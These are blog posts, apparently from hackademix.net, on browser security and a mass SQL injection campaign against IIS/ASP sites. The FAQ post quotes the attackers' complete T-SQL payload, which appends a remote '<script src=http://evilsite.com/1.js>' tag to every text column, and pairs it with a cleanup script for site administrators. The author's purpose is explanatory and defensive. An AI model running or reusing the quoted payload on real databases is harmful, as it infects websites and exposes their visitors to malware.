hackademix.net

After hearing me crying for help, my friend Sirdarckcat went hunting and entrapped a poltergeist which haunts IE only.

Is it this the one Manuel Caballero was talking about?
Or was that a different cross-browser evilness?

However, I ain’t afraid of no ghosts :)

I would be very interested in learning some technical details of Manuel Caballero’s talk at BlueHat, titled A Resident in My Domain, but so far news are very scarce, fragmented and contradictory.

Its abstract is intriguing:

A Resident in My Domain

Do you believe in ghosts? Imagine an invisible script that silently follows you while you surf, even after changing the URL 1,000 times and you are feeling completely safe. Now imagine that the ghost is able to see everything you do, including what you are surfing and what you are typing (passwords included), and even guess your next move.

No downloading required, no user confirmation, no ActiveX. In other words: no strings attached. We will examine the power of a resident script and the power of a global cross-domain. Also, we will go through the steps of how to find cross-domains and resident scripts.

Then we’ve got two quite reticent posts by Nate McFeters, who was there but pretends he doesn’t remember well enough and/or he can’t disclose such an atomic bomb ;)

There’s some discussion at TSSCI, but it adds more questions than answers: the article devises similarities with two distinct old and fixed bugs, the nastier affecting IE and the other Firefox; some comments speculate about an IE7 only, possibly patched, vulnerability; but why so much secretiveness if it was already fixed?
Nate, on the other hand, wrote that this is “a horribly serious issue that affects all browsers and is currently not fixed on any of them”.

Direct inquiries in security circles I’m member of did not bring anything less ectoplasmic on the table.

Therefore, all the juice we’ve got so far is a couple of photos authorizing only the following statements:

1. It is scary.
2. It has something to do with JavaScript and IFrames.
3. It definitely works in IE7.

If you can summon anything useful, you’re very welcome!

SANS is reporting a new wave of the mass SQL injection automated attack against MS ASP + MS SQL Server web sites.

To my surprise and disappoint, first commenter on the SANS diary entry wrote:

If you’re using Firefox, exploited sites may reach out and “touch” you even before you look at cached pages, unless you’ve manually disabled “network.prefetch-next” in “about:config” Check out http://www.google.com/help/features.html#prefetch for more information.

Such a statement is either misleading or plain wrong (depending on what you mean by “touch”), since no remote code gets executed when pages are prefetched: the raw content is are just stored in cache for faster access, and cannot do any harm.
Furthermore, if you’re using Firefox you’re immune from exploits targeted to Internet Explorer vulnerabilities, which are a very common payload, and if you’re running NoScript you won’t be “touched” by any part of this attack: the initial malicious script of the chain is prevented from loading, and even if it wasn’t, the plugin-based exploitation attempts would have been blocked anyway.

On a side note, I’ve updated the post-mortem cleanup SQL script I attached with no guarantee in my previous post for site administrators, after reader Scott reported that it was not working properly. Now it’s debugged and “tested” on SQL Server 2005 (should work on other versions as well).

But again: if you own a web site, a serious code review to eliminate SQL injection opportunities is mandatory, unless you want your site to get reinfected on next round. It’s happening right now…

As I can easily tell by looking at flashgot.net and noscript.net Apache logs, every day the blogosphere gets flooded by copycat articles about “Top 5 Firefox Extensions” or “Best 10 Add-ons”.
Yesterday, though, I’ve been pleased by a slightly different variation: Keeping Safe on the Web: 8 Firefox Addons for Privacy and Security.

• Once in a while, this is not just a rehash of an AMO category, like recommended or popular.
• Its items count is a power of 2, rather than banally a divisor or a multiplier of 10 ;)
• It features two often neglected extensions by Stanford University, Safe History and Safe Cache, which can effectively mitigate some interesting attacks on our privacy. Any web page can quite easily discover if we’ve visited certain sites by exploiting our navigation history visual feedback or the performance differences caused by our cache. Most people don’t know or don’t care, but such a vulnerability may be critical if you’re under an oppressive regime or you’re an interesting blackmail target. Even if these two extensions impose some usability and performance burden (SafeHistory, for instance, scans all the links of a page to “artificially” color them as visited only if they’ve been previously followed from the same site, and this can cause a noticeable unresponsiveness where links are a lot), they’re the best defense we’ve got — other than clearing both cache and history every time we navigate to a new site — until these bugs (affecting all the major browsers) are fixed.

Thanks to Dave Drager for the useful reminder.

Reports about the massive infection of web sites by an automated tool, whose most recent prominent victims have been United Nations, UK Government and the U.S. Department of Homeland Security raised some recurring questions which are worth answering.

1. The attack is targeting Microsoft IIS web servers. Is there a Microsoft vulnerability?
2. What can I do if I’m the administrator of an infected site?
3. What should I do as an user to protect myself?
4. How can NoScript protect if the compromised sites are in my trusted whitelist?

1. The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?

   Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
   That said, the attackers are targeting IIS web servers which run ASP for a reason.
   Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:
   
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

   This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
   So, to recap:

   1. There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
   2. SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
   3. Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.

   In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.

2. What should I do if I’m the administrator of an infected site?

   First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
   In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
   If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:
   
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

   This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with
   
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);

   it locates and removes it with
   
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);

   Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
   Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.

3. What should I do as an user to protect myself?

   OK, this one is the easiest :)

4. How can NoScript protect if the compromised sites are in my trusted whitelist?

   Even if the compromised site is in your whitelist, allowed to run JavaScript, the malicious scripts are hosted on external servers controlled by the attackers (e.g. www.nihaorr1.com): therefore NoScript prevents them from being loaded and effectively defeats the attack.